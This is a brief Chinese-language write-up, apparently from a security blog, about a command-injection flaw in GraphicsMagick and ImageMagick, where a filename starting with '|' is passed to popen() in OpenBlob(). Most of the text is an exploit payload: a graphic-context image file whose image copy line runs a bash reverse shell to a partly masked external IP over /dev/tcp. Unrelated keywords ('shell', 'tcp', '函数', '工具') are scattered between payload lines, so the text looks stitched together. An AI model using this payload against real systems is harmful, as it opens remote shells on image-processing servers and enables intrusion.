GraphicsMagick、ImageMagick工具的全部版本都支持一种文件打开语法,当文件规范中的第一个字符是”|”的时候,文件名其他部分会传递给shell的popen()函数去执行,相关的代码在blob.c文件中的OpenBlob()函数中。shell
exploit code:bash
push graphic-context
tcp
viewbox 0 0 640 480
函数
image copy 200,200 100,100
"|bash -i >& /dev/tcp/21x.x.x.x/1234 0>&1"
工具
pop graphic-context
code